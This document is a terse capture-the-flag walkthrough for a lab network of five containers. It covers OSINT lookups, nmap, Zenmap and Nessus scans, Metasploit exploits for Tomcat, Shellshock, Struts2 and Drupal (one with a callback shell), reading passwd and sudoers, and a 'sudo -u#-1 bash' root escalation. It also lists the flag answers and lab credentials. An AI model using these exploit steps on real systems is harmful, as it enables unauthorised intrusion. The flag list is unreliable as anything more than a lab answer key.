CONTAINER 1 IP: 192.168.13.10

CONTAINER 2 IP : 192.168.13.11

CONTAINER 3 IP: 192.168.13.12

CONTAINER 4 IP: 192.168.13.13

CONTAINER 5 IP: 192.168.13.14

Ctf3-azurewebservices.net: timp98 timothy1

FLAG 1:

* <HTTPS://OSINTFRAMEWORK.COM/>:
  + DOMAIN NAME
    - WHOIS RECORDS
      * WHO.IS
        + TOTALREKALL.XYZ
        + FLAG 1: h8s692hskasd

FLAG 2:

* IN TERMINAL:
  + CURL -V <HTTP://TOTALREKALL.XYZ>
    - IP ADDRESS: 34.102.136.180
    - FLAG 2: 34.102.136.180

FLAG 3:

* SSL RESEARCH:
  + UI.CTSEARCH.ENTRUST.COM/UI/CTSEARCHUI:
    - INCLUDE EXPIRED AND SUBDOMAINS
    - FLAG 3: s7euwehd

FLAG 4:

* IN TERMINAL:
  + NMAP -SV 192.168.13.0/24
  + FLAG 4: 5

FLAG 5:

* IN ZENMAP:
  + NMAP -T4 -A -v 192.168.13.0/24
    - 192.168.13.13 = DRUPAL
    - FLAG 5: 192.168.13.13

FLAG 6:

* IN NESSUS:
  + USER ROOT PASS ROOT
    - SCAN 192.168.13.12
    - VULNERABILITY IP FORWARDING
    - FLAG 6: ID 50686

FLAG 7:

* ZENMAP SCAN 192.168.13.0/24
* IN METASPLOIT:
  + SEARCH TOMCAT JSP
  + USE EXPLOIT/MULTI/HTTP/TOMCAT\_JSP\_UPLOAD\_BYPASS
    - SET RHOSTS 192.168.13.10
    - RUN
    - FIND / \*FLAG\* | GREP FLAG
      * /ROOT/.FLAG7.TXT
      * CAT /ROOT/.FLAG7.TXT
      * FLAG 7: 8ks6sbhss

FLAG 8:

* SEARCH SHELLSHOCK
  + USE MULTI/HTTP EXPLOIT
    - SET RHOSTS 192.168.13.11
    - SET TARGETURI /CGI-BIN/SHOCKME.CGI
    - RUN
      * PWD
      * CD /
      * LS
      * CD /ETC
      * CAT SUDOERS
      * FLAG8 : 9dnx5shdf5

FLAG 9:

* CONTINUING FROM FLAG 8:
  + CAT PASSWD
    - FLAG 9: wudks8f7sd

FLAG 10:

* SEARCH STRUTS
  + USE EXPLOIT/MULTI/HTTP/STRUTS2\_CONTENT\_TYPE\_OGNL
    - SET RHOSTS 192.168.13.12
    - RUN
    - SESSIONS
    - SESSIONS -I 3
      * CD /
      * LS
      * CD ~
      * LS
      * CAT FLAGISINTHISFILE.7Z
      * FLAG 10: wjasdufsdkg

FLAG 11:

* SEARCH DRUPAL:
  + USE EXPLOIT/UNIX/WEBAPP/DRUPAL\_RESTWS\_UNSERIALIZE
  + SET RHOSTS 192.168.13.13
  + SET LHOST 172.28.231.205
  + CAT /ETC/HOSTNAME
    - FLAG 11: b2a19043bffc
  + Or GETUID:
    - FLAG 11: WWW-DATA

FLAG 12:

* FROM FLAG 1 – SSHUSER ALICE
* SSH [ALICE@192.168.13.14](mailto:ALICE@192.168.13.14):
  + PASS: ALICE
  + SUDO -u#-1 bash
  + CD ROOT
  + LS
  + CAT flag12.txt
  + FLAG 12: d7sdfksdf384